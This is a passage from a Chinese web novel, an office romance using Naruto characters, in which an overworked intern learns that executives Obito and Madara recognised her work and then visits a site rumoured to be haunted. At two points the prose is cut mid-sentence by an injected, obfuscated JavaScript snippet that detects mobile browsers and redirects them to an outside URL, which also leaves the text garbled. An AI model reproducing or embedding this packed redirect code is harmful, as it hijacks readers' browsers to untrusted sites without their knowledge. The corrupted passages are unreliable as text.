提着购物袋进了公司大楼,恰好在电梯里又遇到了保洁阿姨。闲聊中得知对方要去顶楼打扫,我就顺便拜托阿姨把斑先生的早餐转交给他。自己一个人去卫生间抓紧时间洗漱。 尽管这不是顶层的卫生间,我还是心有余悸。先鬼鬼祟祟地探头进去,白炽灯灯光明亮,地面有微微的湿气。又查看了每个隔间,确认没有人在,我才安心下来。 昨天夜里真的吓死我了。 宇智波集团的公司大楼该不会也有什么怪谈传说吧。半夜会在女厕把人舔来舔去的红瞳鬼怪什么的。 我一边洗着脸一边胡思乱想,卫生间里忽然响起了电话铃声。我手忙脚乱拿起来一看,是老家那里来的电话。 “……” 手机在潮湿的掌心震动着,还没擦干的水珠从脸颊上滴落。中央空调已经开始工作,冷风吹在湿润的肌肤上,瞬间带走所有的温度。 我看到镜子里的自己,乱翘的头发,皱巴巴的衣服,过度加班留下的疲惫和黑眼圈。 长时间没有接通,电话就自己挂掉了。 我撑着台面发了会儿呆,大理石台面在灯光的照射下光滑明亮。这里时常有人洗手时将水珠溅到台面,也有废弃的纸巾和湿巾丢在垃圾桶外面。要维持现在这种洁净,保洁阿姨要比所有员工来得更早。在所有人到来之前,将卫生打扫干净。 这份工作是很辛苦的。 可我早上和她打招呼时,她丝毫没有怨言,对自己的工作充满干劲,总是乐呵呵的。因为员工们路过的又旺盛又漂亮的绿植,使用的干净清新的便利设施,都留下过她的汗水。感到辛苦的时候,只要直起腰看着整栋大楼,就有令人暖洋洋的满足感。 我把手机放回包里,将自己擦干,衣服整理好,去工位一边咬三明治一边继续昨天没做完的工作。 或许是用眼过度,没过一会儿,眼睛就又痒又酸起来。想要滴眼药水,却发现瓶子已经是空的。 我这才想起来,原本计划去买的眼药水被我忘记了。 最近,好像总是忘记事情,丢三落四,疑神疑鬼。 好累。很辛苦。 想要休息。 好好睡一觉。 电脑屏幕上,今天的表格和昨天的表格有什么不同?用眼过度带来的视线模糊让一切都重叠在一起。今天的我和昨天的我重复着同样的工作。 我现在,到底在做什么呢? ……我的工作是有意义的吗? 公司里陆续来了上班的同事,聊着“昨天人事部的人被叫过去问话,今天轮到营销部,该不会是总裁大人新官上任三把火”的八卦,看到我在工位上,声音又一瞬间停止了。 ……很多情报我都不知道,因为我在公司里,还没有交到可以一起聊天,一起吃饭的朋友。只能偶尔在茶水间听两句别人间的闲聊。 不知道是不是这样做的次数太多,大家聊天时总是避开我。 当我主动走过去时,他们就露出难以形容的表情,生硬地转换话题,发出浮夸又虚假的笑声。我不想做令人讨厌的、打扰别人的人,后来就不再主动找别人说话了。 新人,同样作为竞争者的新人,是难以合群的。 在主管明确表示对我的不满以后,领头羊效应就开始了。 友谊和信任是宝贵的,为了不认识的陌生人去挑战强权更是难如天书。从众是人之本能。随着年龄的增长,某些东西越来越珍惜罕见。逐渐变成悬挂在枝头上难以摘下的金苹果。 当初在大学里,从乡下老家来到繁华的东京都内的我,如果不是鸣人拉着我认识了小樱他们,或许我也会花很多时间一个人学习和吃饭吧。 等这些人走过我的工位,窸窸窣窣的耳语才又在我的背后响了起来。捕捉到的关键词让人浑身发凉。 他们在议论我? 议论什么? 没有换衣服所以昨夜是跟男人过夜去了? 这么早来公司上班是想做样子给主管看? 还是……已经做了身体交易? 不舒服。食不下咽。三明治噎在喉咙里,牛奶是冰凉的,灌下去就将干巴巴的三明治泡得膨胀,哽在喉咙里。 焦虑。自我怀疑。 有些想吐。 空气里有烂掉的发霉蜜柑的味道。 橘黄色的汁液有些发黑,浓稠,黏腻,恶臭。污渍难以清洗。 确认了主管还没来,我偷偷摸摸将手机摸出来,翻到了和鸣人小樱他们的消息记录,一点一点往上翻阅。 都是一些很琐碎的事情。相互分享最近喜欢的零食和电视剧,随口询问要不要一起出去玩,一起抱怨工作的辛苦。发来学校里小猫们的照片和视频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993393|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “决定了!毕业之后也还要做一辈子的挚友!” “哈啊?鸣人你在说什么蠢话。这不是当然的嘛!” “嗯嗯!” 脸上渐渐浮现出温暖的笑容,好像找到了一点让心情变得柔软的东西。 忽然弹出新的短信提示音,手指下意识点开。是妈妈发来的。 “最近总是联系不上。身体还好吗?工作再忙也不要忘记吃饭。院子里种的蔬菜成熟了,你小时候最喜欢妈妈做的腌菜。上次寄给你的蜜柑……” 我猛地站起来,椅子摩擦着大理石瓷砖发出刺耳的噪音,同事们看了过来。 “妈妈已经很久没有见到你了,也没有听到你的声音了。什么时候能回家看看爸爸妈妈呢?” 我握着手机,走向卫生间,起初脚步缓慢,后来越来越快、越来越快。仿佛在从可怕的怪物的追逐中逃跑。 大概是认为我肚子痛,着急上厕所,那些人很快就把视线收了回去。 “工作太忙的话。不回来也没关系,多发点照片。或者……和妈妈聊聊天也好呀。最近工作上有遇到什么难题吗?交到了新的朋友了吗?上司们好不好说话?你在大城市一个人生活,妈妈总是很担心你。我在电视上看到,东京都内好大好繁华,电车路线那么多,妈妈都看花眼了。每次播到那里的新闻,我和你爸爸都要在背景的路人中找一找,有没有我家女儿……” 我找到一个隔间,走进去,坐在马桶盖上,将脸埋在手掌中,不停深呼吸。 “你爸爸又在旁边说我唠唠叨叨,女儿进了厉害的大公司,在大城市做大事业,会有大出息。村子里的人都很羡慕呢。他让我不要总是打扰你。好啦,妈妈就是年纪大了爱唠叨。这次打电话就是想说妈妈做了今年的腌菜,都是你小时候最爱吃的。你换漂亮的新房子了吗?还是原来的地址吗?妈妈把腌菜寄给你……” 我发了会儿呆,脑子里一片空白。 可能只有几分钟,可能有几个小时。有人拉开了隔间门。 我这才发现,我忘记锁门了。 一位漂亮的姐姐正站在我面前,妆容精致,握着门把手的手指纤长白皙,美甲是时下最流行的猫眼。 “是你?”她有些惊讶。 被抓包到在厕所摸鱼很尴尬。我认出来是公司里的明美前辈,用手掌擦了下湿漉漉的脸颊,急急忙忙站起来:“抱、抱歉。占用了位置真不好意思……” 我垂着脑袋绕过她,让头发遮住脸,回到工位。一路上,员工们的议论声已经大到不像在说悄悄话。 看到我出现,那些声音却忽然消失了。转而化为一种有如实质的探寻目光,黏在我的身上。 我如芒在背。 我慢慢走到工位,忽然发现,主管正站在我的工位旁,带了很多资料,放在我桌子上。 手指不正常得冰凉起来。 我吞咽着唾液,硬着头皮走过去,干巴巴地和对方打了招呼。 好像有很多人正看着这里,观察着什么。 令我感到惊讶的是,主管表情很难看,并没有像往常那样训斥我擅自离开工作休息。而是硬邦邦地交接了一部分工作。即使是笨蛋如我,也能看出来,这是挺重要的营销项目,基本上是正式会社员的工作,不会交给实习生。我不太明白这是为什么,又没有胆子询问,只好也干巴巴地全部点头接下。 接着,主管铁青着脸看了我很长时间,然后头也不回地离开了。 那之后,他再也没回来。 我在工位上坐了一会儿,小心翼翼打开那些堆积如山的资料。这个摸两下,那个摸两下,又慢慢凑过去,轻轻闻闻纸上油墨的味道。这是我的吗?这些资料现在是我的吗?真的吗?就像做梦一样。 然后,我听见有人叫我的名字。 我抬起头,发现是明美前辈。 我连忙站起来。 她看了我一会儿,又看了桌子上的这些文件一会儿,对我说:“哈,你的运气真好。” 她的语气很复杂,像是羡慕,像是嫉妒,又像是感慨与释然,听起来有些五味杂陈。 我在此之前和明美前辈并没有什么交集,最多见到了相□□头打个招呼。明美前辈工作能力很强,人缘也很好,今天是她第一次主动来找我。 她长得很漂亮,性格也很强势。公司里不少同事都喜欢她,经常围着她说话。 心跳声有点变快,喉咙发干,我有些紧张地说:“明美前辈?” 接着她告诉了我,一些我不知道的事。 12. 第 12 章 12、 这大概是老资历的前辈之间的共识——虽然是同一家公司的掌舵者,但宇智波斑和宇智波带土的理念并不同。 宇智波斑因两个姓氏间的旧年宿怨与弟弟泉奈的遭遇,与千手集团势不两立,形同水火。他的侄子带土早年却在千手集团资助的木叶附属小学读过,只是中途因意外辍学。同其他人一样,带土当年有着成为火影的强烈愿望。 这意味着,带土并不像他的叔叔那样,对千手集团充满憎恨。反而有着某种复杂的旧情。 木叶系学校因有着千手集团投资的缘故,在历年的招聘中,这里出来的学生,往往很少被宇智波集团的人事部所青睐。我是这些年来,唯一被招进来的实习生。 “人事部的田中和我提过,执行官看了你的简历,”明美说,“他在最开始就对你很感兴趣。可以说,是带土先生把你招进来的。” 我露出惊讶的表情。 这件事是我完全不知道的。 我还以为,只是我的运气比较好。 再加上一点点,微不足道的努力。 想要获得大公司的宝贵面试机会,当然需要比别人更加努力。只把同样的简历复制许多份广撒网是不够的。 我当初在简历中,除了相应的个人资料和履历外,还根据每个公司的在未来所展开的项目,额外发送了相对应的市场研究与分析。宇智波的这一份,我则是根据年底上线的月之眼企划,分析了其在年轻人中的用户画像,有针对性地提出了几个线下推广营销方案。其中重中之重,是和木叶大学展开合作的校园文化祭活动。 通过校际体系间的影响力,以木叶为中心,辐射整个东京都内学区,继而带动地区间的模仿与跟随效应,在年轻人间形成潮流趋势。 宇智波带土看中了这份方案。 它很幼稚、粗浅、可笑、想当然,所用的数据也只是网络上公开的那些陈年数据,想要完善并落实这份方案需要花费大量精力。这是我在工作以后才明白的。 这份当初熬夜了无数次,辛苦坐在桌前改稿到腰酸背痛的方案,现在来看,十分不成熟,想到我把这样连雏形都算不上的肤浅东西寄出去,就不由面红耳赤。 但是它在当初打动了带土。 或许是它的想法足够新颖有趣,执行官在其中看到了某种可能。或许只是机缘巧合,与公司未来的计划相吻合。总之,在那一批邮件里,带土圈出了我的名字。 “她的面试题由我亲自来出。”他说。 我记得面试那天我很紧张,面试我的人事部员工也表情微妙。我尽可能地将事先准备的知识发挥出来。因为试题有部分和木叶有关,我还暗自感叹自己的好运。 人事部的人让我回去等待通知。我没能从他们客套的表情中看出端倪,但是他们要走了我现场做的一份方案,说是要统一给上司来裁决。 然后,我就被录取了。 不是阴差阳错,也不是天降好运。 只是像其他被录取的员工一样,我辛辛苦苦做出来的方案打动了带土。他认为我适合这份岗位,并把这份信任交托给我,相信我可以做好自己的工作。 “你……”前辈顿了顿,不太情愿地、语气有些生硬地说,“其实比你自己所知道的,更加优秀。带土先生是很挑剔的人,他很少这么看重一个新人。我因为不服气,之前托田中给我看了你当初的方案,老实说,除去那些外行人的天真想法,还有过于陈旧的数据模型,其中的确有些东西很打动我。 “所以安心吧。这是你用自己的努力换来的。” 她愣住了,因为我忽然伸出手臂,用力抱住了她。 “你这、你这家伙,忽然做什么啊!” 她露出慌乱的表情,妆容精致的脸上难得有些猝不及防。甚至忘记推开我。 “谢、谢谢您肯定我。”我结结巴巴说,“明美前辈。” 原来是这样啊。 原来是这样。 星辰不会因为发出的光亮太过微弱,无法被肉眼捕捉,就不被定义为星辰。 这个世界那么大,总存在着有心人,在熠熠生辉的繁星之中,找到一颗不会发光的星星。 然后,捡起来。 我被看到了。 早在我知晓之前,我就已经被看到过了。 那无数个亮着台灯,强撑着困意一点一点搜索记录网络上的公开数据,然后制作模型并分析的夜晚。那些沾沾自喜,又紧张又雀跃地点击发送键,将邮件寄出去,并等待回复的忐忑与患得患失。 那些试着相信自己的努力与汗水,又忍不住怀疑自己的天分的辗转反侧与焦虑不安。 原来都是有人看到的。 有人肯定了我。 “明美前辈又漂亮又厉害,一直是我憧憬的对象。我很高兴能够被您认可。”我乱七八糟地说,“对不起,我也不知道自己怎么了,就是很想把真心话说出来……我一直都很崇拜您,您好像什么都懂,工作也好生活也好,都做得很完美,我憧憬着您,想要成为您这样优秀的人。” “哈啊,你这个家伙,忽然之间说什么,现在要拍马屁也太迟了吧!”明美前辈的声音听起来有些僵硬和生气。 “之前安保部借了我的车,是您的缘故吧。”我忽然说。 她没有说话。 我有点紧张,害怕她会推开我。 然后她慢慢地,别扭地,回抱了我一下。 “真是个单纯的笨蛋……分不清好人和坏人,难怪会被那个老色鬼欺负。”她咕哝着,不满地抱怨,抱着我的手臂却很温暖。 很多时候,其实长大以后的生活并没有小时候所期盼的那么完美璀璨。但也没那么糟糕。 世界也不是非黑即白。 她会和朋友们事不关己地、冷漠地议论“那个看起来有点笨的实习生”,也会在我做出愚蠢尴尬的举动时,温柔地拥抱我。 不知道为什么,眼眶热热的。眼泪没法止住,啪嗒啪嗒往外掉。我松开她,侧过身,有些狼狈地用手背不停地抹,结果把脸弄得湿漉漉的。 可是对我来说,这样就已经是很好很温柔的人了。 明美前辈告诉我,按照带土原本的安排,他是要把这个方案交给提出者本人,也就是我来做的。 但是后来却莫名其妙变成了主管在领头。 雪中送炭难,锦上添花却易。 现在主管走了,明美主动来找我卖好,也是希望她能加入这个项目。 “我可不是什么好人!我是有利可图才来找你!”她强调道,告诫我,“别什么人都随便相信!” “可是,我不明白……”我抹着眼泪,喃喃道。 为什么属于我的东西莫名其妙变成了主管领头的项目,为什么明美还有其他前辈看起来早就知道这件事,却没有一个人在之前告诉过我。为什么明明是执行官的亲自要求,底下的员工却阳奉阴违,欺上瞒下。为什么大家看起来都很讨厌我。 我吞咽了一下,满心茫然。变故来得太快,我有很多事情都想不明白,脑子里很乱。 明美注意到我的表情,忽然笑了一下。我不知道这笑容里有什么,但看起来很复杂,显得有些苦涩。 “弄不明白是吧,我当初也弄不明白。干得久了,吃得苦头多了,摔了太多次跤,这些东西也就都琢磨明白了。”她想了想,到底露了些真心,别别扭扭地说,“但我希望这世上,始终能够有人不必明白。它们本身也不是什么能让人变好的东西。你运气好,就这样稀里糊涂地过下去吧。” 她抽出面纸,塞到我的掌心。 “别想太多,这本该就是你的。说起来,你最应该要谢的,应该是斑先生。” “嗯?” “为了将整个公司清理一遍,斑先生这两天大概根本没休息过。当初我还以为他是从国外总部过来找茬的臭脾气大少爷,没想到他完全是工作狂,训起人来连我的上司都不敢吱声。我的部门也跟着连轴转了两天,现在人人挂着黑眼圈,不过倒没什么人抱怨。有些事,弄得明白是一回事,但不想这样的风气再持续下去又是另一回事。除了那个老色鬼,还有不少尸位素餐的人被解雇了,你不是第一个受益者,也不是最后一个。带土先生之前满世界出差分身乏术,在公司里呆的时间很少,很多事情都无暇管理。这下子公司里有斑先生坐镇,月之眼企划搞不好真的能在年底之前上线了。” 她琢磨了一下用词,感慨道。 “我们都没想到,斑先生居然是个很纯粹的理想主义者。不知道执行官派的爱理,会不会因此转而拜倒在总裁大人的西装裤下呢……” 我愣了一下:“咦?” * 电梯停了下来,我忐忑不安地走出来,顶层的落地窗又大又漂亮,站在高处能俯瞰整个繁华的闹市区。 这里寂静而空旷,空无一人。只有会议室的灯光亮着。 我太过冲动,脑袋一热就冲了上来,完全忘记了今天上午是公司管理层的例会时间。 看了下手机,例会马上就要结束,我干脆就站在外面等待。激动的心情难以遮掩,血液在燃烧,肾上腺素分泌,亢奋得令人飘在云朵上。我迫切地想要做些什么,来改变自己。 我滑动屏幕,页面还留在母亲发来的短信上。 说了太多的谎,我还是没有打回电话的勇气。不过,姑且可以用文字去面对。 事情总会慢慢地变好。 “最近一切过得都好。妈妈和爸爸在老家的生活怎么样呢? “我依旧住在原先的公寓里。那里很小,但是邻居和管理人都很友善,环境也很干净。租金也便宜。暂时不准备搬家。 “上次的蜜柑寄过来发霉坏掉了很多。东京的雨季真是难挨,如果不小心保存,蔬菜和水果很容易烂掉。不过业务超市里有小份装的蔬果贩卖,对我来说可是帮大忙了。爸爸的腰在雨天会痛,这段时间是不是又板着脸捂着腰不说话呢? “啊对了,这次的腌菜,方便的话请多寄一些过来吧。我很想再吃到妈妈的味道。还有,我好像交到了,可以把蜜柑和腌菜都送出去的新朋友……” 字还没有打完,会议室的门就打开了,管理层的职员们三三两两走出来,我在角落里努力注意每个人的脸。可是直到人走光了,也没有看见我想找的人。 我等了一会儿,鼓起勇气往会议室走进去,正在整理会议资料的秘书们抬头看了看我,有一个人要走出来拦下我,但又被他的同事拉住了。他们说了些什么,我没有注意。 我很小心地站在会议室门口,轻轻推开一条缝。 斑先生正在和一个穿着黑色西装的男人商讨着什么,声音低沉而严肃。我推门的动作很轻,他们俩背对着我,本该察觉不到,但几乎就在门被推开的瞬间,两个人不约而同地鼻尖微微动了动,谈话声骤然停止,仿佛嗅到了什么气息,动作一致地转过身,遽然望过来。 我吓了一跳,心脏扑通扑通狂跳起来。 乌沉沉的、锐利又冷淡的黑眼睛犹如捕猎者,准确锁定在门后的我的脸上,然后像看到美味的罐头的猫科动物似的,变得温和又亲切起来。边缘隐隐泛着不祥又诡异的红色。 斑先生旁边的那个人,穿着西装,戴着一个棕橙色的、螺旋状的面具。根据公司里的人的说法,我猜测那正是带土先生。 听说他在幼时因为意外毁容,形容骇人,时常吓到小孩子。是以日常戴着面具或口罩遮挡脸部的伤疤,很少在公司里露出脸。 没想到会被发现,我有些尴尬地打了个招呼:“带土先生,斑先生。” “怎么了,”斑把手里的平板放下来,“有什么事吗?” 现在冷静下来,我想到自己原本计划要做的事,感到十分尴尬。 方才脑袋一热就跑上来,还是太莽撞了。 我做事总是毛毛躁躁的,难怪小樱时常说我根本不会照顾自己的日常起居。 “没什么……” 我有些打起退堂鼓,忍不住往后退了半步,斑先生就立刻站起身,脸色阴沉地朝我走了过来。似乎很不满我逃避他的行为。 他这样充满进攻性的侵略举动,加上他比我强壮上很多的体型,着实让我感到背后有点毛毛的。 恐惧感。 出于动物本能,我有些想拔腿就跑。但或许是斑先生走近了,我注意到他并没有看起来那么精神奕奕,嘴唇抿着,眼下有疲倦的乌青色。 我想起明美前辈的话。 “斑先生是个纯粹的理想主义者。他说,‘每个人做了什么,我都看在眼里。’ “‘你的工作,你的努力,你付出的汗水,是有人看见的。这样的事,我不会允许再发生。’” 这些由明美前辈转述给我的话,十分触动我。以至于我脑袋一热,就跑到了顶楼来。 我真是个大蠢蛋。 对很多人来说,努力可以不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993394|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用收到回报。只要被看到就足够心满意足。 保洁阿姨的工作辛苦又繁琐重复。像每日推着石头上山的、周而复始的西西弗斯,她每天都要打扫整个公司,而在第二天,这些被打扫干净的地方又被重新弄脏,她就得再一次重复前一天的劳作。 可这样的工作是毫无意义的吗?她对此感到疲惫吗? 不,她早上和我打招呼时充满干劲,脸上也是微笑着的。因为她工作的成果,漂亮整洁的办公环境,被每个人看见了。 尽管大部分人都不会注意到这是她的工作,也不会记得她的名字。但她依然为自己的工作感到骄傲,并且心满意足。 因为她的汗水被人所“看见”。 这世界上正在努力的、即将努力的、努力过的、比我更加努力,努力一千倍、一万倍的人有那么多。 就像花圃里鲜艳美丽的花。 拼命生长、汲取着阳光雨露,挣扎着活下去的事物有那样多、那样多。 只要能够被看到,然后说一句“啊,那株小草也很可爱” 就已经是很不容易的事了。 搞了半天,到头来,我做了那么多,原来只是想要我的努力能被看见。 哪怕是责备和批评也没有关系。 那是我的汗水的结晶。 哪怕一点点也好,我想让它变得有意义,有价值。 不是所有努力都能被看见,天上的星星有那么多,地上的行人也有那么多。 要看到每个人,需要付出常人难以想象的心力。 斑先生也很辛苦吧? 难道他的努力就可以不被人看见吗? 每个人都需要被鼓励和肯定,并不因为地位的高低而改变。 眼泪不知为何没能止住,啪嗒啪嗒流了下来。 我狼狈地低头擦了一下,然后用力地抱了一下斑先生。接着,真心实意地大声说:“谢谢您,斑先生,”我说,“谢谢您看到了我。” 他在我怀里猛地僵住了。肌肉一点点绷紧。然后紧紧的,紧紧的,抓住了我。 我听见不远处的带土先生异常明显地“哈啊?”了一声,皮鞋踏在地面上,带土很快把他的手放在我的肩膀上,然后半强迫地拉开了我和斑先生。好像很不高兴的样子。 斑侧过头,面无表情,微微瞥了一眼带土。 带土对他弯了弯眼睛,笑眯眯的:“斑?” 空气里的气氛很古怪。 我低着头用力地鞠躬:“不知道该说什么感谢您才好,斑先生,如果不介意的话,我的妈妈做的腌菜很好吃,我小时候每到秋天都会吃。还有那个,老家的蜜柑也很甜很大,汁水丰富。都是些拿不出手的东西,我也不知道该说什么,但是我真的很感激您……” 我结结巴巴,手忙脚乱地比划着。 “您工作辛苦了,请不要再用豆皮寿司代替正餐了,这样吃的话很没有营养。睡在办公室的沙发上也很不舒服,我没有做过您这样的职位,但您的工作量一定是我的一百倍。可就算是我也会好好休息,买喜欢的食物犒劳自己。 “斑先生也是,不要太辛苦了,工作无论如何也做不完,还请保重身体。希望您能身体健康。 “身为公司里的新人,莫名其妙找上来,对您说这样的话,我真是自我意识过剩,我不知道自己在做些什么,等下也一定会尴尬到脸红,但斑先生是温柔的好人,还请我吃豆皮寿司,我想和斑先生做好朋友。我不认为斑先生的努力可以不被别人肯定,哪怕很丢脸,也想告诉您,有很多人因此感激您…… “啊,还有带土先生,初次见面,请多关照。也非常感谢您认可我的方案。那样幼稚的东西被您这样厉害的人物肯定,得知这件事,真的让我受宠若惊。我一直都对自己的工作能力没太大自信,主管之前也说我做得很差,不知所云。但是带土先生比主管厉害一百倍,既然能够被您肯定,所以我想我身上还是有值得骄傲的发光点吧。原来您一直都有注视我,感动到想要说些什么,又找不到词汇来形容我的心情……” 我絮絮叨叨说了半天,一边说一边莫名其妙地掉眼泪。忽然被一根手指按在了嘴唇上。 我打了个哭嗝,瞪大眼睛,一下子噤声了。 “好了好了,原来是这个啊。虽然有猜到你会激动,但没想到你这孩子的反应这么可爱。真是的……还以为你被人欺负了,哭成这个样子,真是把我和斑吓了一跳,”带土先生说,“把头抬起来,很好,乖孩子,就这样。很乖很乖噢。” 然后掏出纸巾,弯着腰,像照顾小孩子一样把我乱七八糟的脸擦干净,头发理好,衣领整理好。 我吸了吸鼻子,呆呆地看着他。 “嘴巴张开。” 被塞了一颗糖果,甜甜的。 简直被像小孩子一样哄了。 他安抚小孩子似的,笑眯眯地摸了摸我的脑袋,嗓音甜蜜又令人毛骨悚然:“真是可爱,乖孩子乖孩子,随随便便就对我说出这种诱惑我的可爱的话,可是很危险的。我可不是什么会约束自己欲望的男人……累了的话让我养你也可以噢,今晚就搬到我家怎么样?” “谢谢您的好意,带土先生。”我结结巴巴说,不太明白他在说什么。脑袋卡壳了半秒钟,终于感到迟来的脸红,尴尬起来,手足无措,用力地鞠躬道谢,“打扰您和斑先生开会了真抱歉。那么我就先回去工作了。” 一直在灵魂出窍状态的斑先生这才反应过来,喊了声我的名字。 “嗯?”我停下脚步,转过身。 男人盯着我看了一会儿,他把手抬起来,扯下黑手套,很威严地摸了摸我的头发。 指腹接触着发丝,沙沙的。像是把耳朵贴在海螺里听见的海浪声音。手指一点一点摩擦着,感受着,掌控着。 体温,呼吸,意志。 “我将一直注视你,不要让我失望。”他命令般地,冷酷威严地低声说。 我看了看他,眨眨眼睛,又眨了眨眼睛,心里好像有什么沉重的东西放了下来。身体变得轻盈又柔软。 信任的重量有时候很重,有时候又很轻。 “嗯!我会努力的,斑先生!”我用力点头,对他露出灿烂的笑容。 “……” 斑先生的表情好像有一瞬间变得很奇怪,他眯起眼睛,仿佛要把我吞掉一样可怕。 我完全没有在意,按捺不住雀跃的心情,很兴奋地、干劲满满、斗志昂扬地啪嗒啪嗒离开了。 13. 第 13 章 13、 现实生活当然不像职场电视剧那样,主人公经历过挫折后事业就会一帆风顺,登上人生巅峰。 饭要一口一口吃,工作也要一项一项做。我花了半个月才厘清主管交接来的工作,又花了半个月和其他部门的同事沟通,每天都忙到深夜,日日辛苦得回家倒头就睡,这才稍微了解了一部分项目进度。 主管虽然是大坏蛋,但业务能力并不弱,项目在他手里原本推进得如火如荼,各个方案都在落实,甚至已经联系了工程队在搭建展台雏形了。 但在前不久,施工中出现了意外。木叶大学那边的负责人态度也不知为何,变得异常冷淡,合作项目进度就此停滞下来了。 与木叶大学的合作项目最初的草案虽然是我提出的。但在落实过程中,并不只有我一个人出力。许多其他同事也在此做出了努力,进行了完善。今后也要仰仗这些前辈们的帮助,才能将项目彻底落实。 在和他们商量以后,我们决定由原本就是木叶大学学生的我先过去,探探木叶大学负责人那边的口风,了解对方态度突变的原因。 毕竟宇智波系和千手系不和素来已久,两者水火不容,像我这样的混搭派百里挑一。 “简单来说,你就是我们公司的小外交官啦!”同事们这么说,笑着给我握拳鼓劲,“要加油啊!” “嗯!”我认真地点头,弯起眼睛,手掌伸过去,和大家击了个掌。 啪! 发了邮件过去,和木叶大学那边的负责人约在下午见面。我提前一些时间来到了见面地点,准备先去搭建到一半的展台附近看看。 施工现场摆放着一些钢铁支架,木质结构搭建到一半。经过这段时间的风吹日晒,显得有些荒凉。 我在附近的拉面店解决了午餐,顺便打听详细事宜。 交上来的工程报告上含糊其词,只说搭建到一半时有工人出了意外,按照合同,施工方有权暂停施工。即使公司购买了保险并加强了安全措施,工程队也不愿意再干下去。而寻找其他施工方,也都被拒绝,仿佛有什么行业内讳莫如深的忌讳。 我一边嗦着面条,一边深思。刚刚在外面转了一圈,没发现什么特别之处。看来还得去展台内部看看。 就在这时,拉面店老板和一位客人的聊天引起了我的注意。 “听说是有鬼啊……有鬼作祟!”拉面店老板压低声音,神神秘秘地说。 我悄悄挪了过去,竖起耳朵。 通过老板和客人三言两语的交谈,我了解到,月余前在这里施工的工程队原本一切正常,托福,他的拉面店生意还兴旺了一阵子。 但好景不长,从某天深夜开始,工程队里的工人们就时常在施工时撞见灵异事件。最后有一名工人更是因休息不好神志恍惚,白天施工时险些从脚手架上摔了下来。 因为酬劳丰厚,原本工程队还准备瞒着这件事,继续干下去,但随着撞鬼的人越来越多,最后居然连白天也发生了诡异的灵异事件。连工程队队长的幼子也夜夜啼哭,说,自己在梦里见到了可怕的鬼怪,让他们停止施工,否则将有杀身之祸。 这下,哪怕要付高额违约金,工程队也不肯再干下去了。 “一定是……一定是他们施工挖地时,打扰了鬼怪大人的安宁呐!”拉面店老板信誓旦旦说。 比起做拉面,这个老板显然更适合去讲单口相声。他一个人又是配音效又是指手画脚,眉飞色舞,硬生生在大白天渲染出那种恐怖氛围。 “据说那鬼怪长着一对狰狞鬼角,还有着能使人致幻的可怕眼睛,只要看上一眼,就会陷入幻觉之中!!” 那客人也很捧场,倒吸一口凉气,恍然大悟:“是幻术!怪不得那些工人夜夜无法休息!他们中了鬼怪的幻术!” “没错!那鬼怪还有三只眼睛!你可别觉得数量少,没有百目鬼大人多,心里认为它是小妖怪,那可就完蛋咯!”拉面店老板口若悬河,仿佛他曾经亲临现场,“这只作祟的鬼怪,它的每一只眼睛都有一种特别的能力!” “什么?!”客人惊讶道,“它还有能力?不知是什么能力?” “哈!据说它的眼睛能够看透世间万物……” 接下来的讨论就越来越往神话传说的方向发展了,我也就没有再听下去。 真的存在鬼怪吗? 原本我是不相信的,但是最近我真的撞见了一只红眼睛的可怕的男鬼,因此有些将信将疑起来。 不过,那个红眼睛的男鬼虽然看起来很吓人,但是并没有伤害我。还给了我一颗糖果。所以,搞不好只是看起来可怕,但本质上是善良的好鬼? 想不明白。 结了账,我重新回到展台附近。出示了职员证件后,我得以前往展台雏形内部观察。 今天天气炎热,又恰逢正午,炎日高悬。因为是出外勤公差,费用可以商务报销。我稍微奢侈了一点,结账时拿了一根冰棒。 不知是否是冰棒拿在手里的缘故,我总感觉有些凉飕飕的,仿佛被什么人盯着。但每每回过头,身后却并没有人。 心中惴惴不安,惊疑不定。 不知是何故,鼻尖渐渐渗出了汗珠。 我咬了一口奶油冰棒,柔和甜蜜的香草味。糖分本应该使人感到幸福,但冰凉的液体沉入胃里,却变得沉甸甸的。令人不太舒服。 我猛地转过身。 微风吹过半人高的荻花,沙沙作响。 我缓缓回过身,窥伺的阴郁目光如影随形,仿佛无处不在。 荻花丛里藏着什么? 汗如雨下。 如鲠在喉。 施工方已经罢工数日,这里并无人员往来。风吹过荒地,有呜呜之声。旺盛的荻花随风飘荡,肆意生长,足有人的胸膛那么高。远处有流水之声,细细听来,又仿佛是哭泣与呜咽之声,令人脊背发凉。 听人说远处这条河叫南贺川,在历史上,曾经淹死过许多人。 心跳声扑通扑通,仿佛要从喉咙里窜出来。手指末端变得冰凉。 展台后方是几个数米高的临时仓库,出于施工防扬尘需求,用来堆放工程材料。我强忍着不安,先在搭建到一半的展台附近观察了片刻,从各个角度拍摄了照片,并做了简单记录。预备等下和木叶大学那边来的负责人一起商讨。 接着,我前往仓库。刚推开大门,我就被灰尘呛得咳嗽了一下。 捂着口鼻抬起头,因为是简易仓库,看起来就像大型集装箱。没有任何透光的窗户,除了门口几步远的范围内,内里一片漆黑。只在高处悬挂了一只电灯泡用来照明,我在门框附近没有摸到电灯开关,便下意识往里走了几步。 好像有刺骨冰凉的冷风,倏然吹过我的脖颈。 汗毛耸立。 冰棒差点从我的手里掉下去。 